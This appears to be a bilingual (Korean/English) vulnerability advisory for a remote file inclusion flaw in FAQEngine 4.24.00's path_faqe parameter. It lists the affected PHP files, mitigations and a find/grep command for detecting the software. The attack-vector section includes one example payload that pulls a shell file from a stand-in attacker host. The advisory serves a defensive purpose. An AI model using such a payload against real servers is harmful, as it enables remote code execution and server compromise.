🇰🇷 한글 설명
FAQEngine 4.24.00의 다중 PHP 파일에서 path_faqe 매개변수를 통한 원격 파일 포함(RFI) 취약점. 공격자가 임의의 PHP 코드를 실행할 수 있는 심각한 보안 결함이다.
💡 쉬운 설명
FAQEngine이라는 웹 소프트웨어에서 공격자가 외부 서버의 악성 코드를 로드하여 서버에서 실행시킬 수 있는 결함입니다. 서버가 감염되면 데이터 탈취, 사이트 변조, 추가 공격이 가능합니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in FAQEngine 4.24.00 allow remote attackers to execute arbitrary PHP code via a URL in the path_faqe parameter to (1) attachs.php, (2) backup.php, (3) badwords.php, (4) categories.php, (5) changepw.php, (6) colorchooser.php, (7) colorwheel.php, (8) dbfiles.php, (9) diraccess.php, (10) faq.php, (11) index.php, (12) kb.php, and (13) stats.php.
📍 영향받는 시스템
FAQEngine 4.24.00 이하 버전 (attachs.php, backup.php, badwords.php, categories.php, changepw.php, colorchooser.php, colorwheel.php, dbfiles.php, diraccess.php, faq.php, index.php, kb.php, stats.php)
⚔️ 공격 벡터
path_faqe 매개변수에 원격 파일 URL을 삽입하여 RFI 공격 수행 (예: ?path_faqe=http://attacker.com/shell.txt%00)
🛡️ 대응 방법
FAQEngine을 최신 버전으로 업그레이드하거나 allow_url_include를 PHP.ini에서 Off로 설정하고 입력값을 엄격히 검증
🔧 검증 코드
시스템에 FAQEngine 파일이 존재하는지 확인. 검색 결과가 없으면 설치되지 않음. 있으면 path_faqe 매개변수 처리 코드를 검토하여 입력 검증 부재 확인
find / -name 'faq.php' -o -name 'index.php' 2>/dev/null | xargs grep -l 'path_faqe' | head -5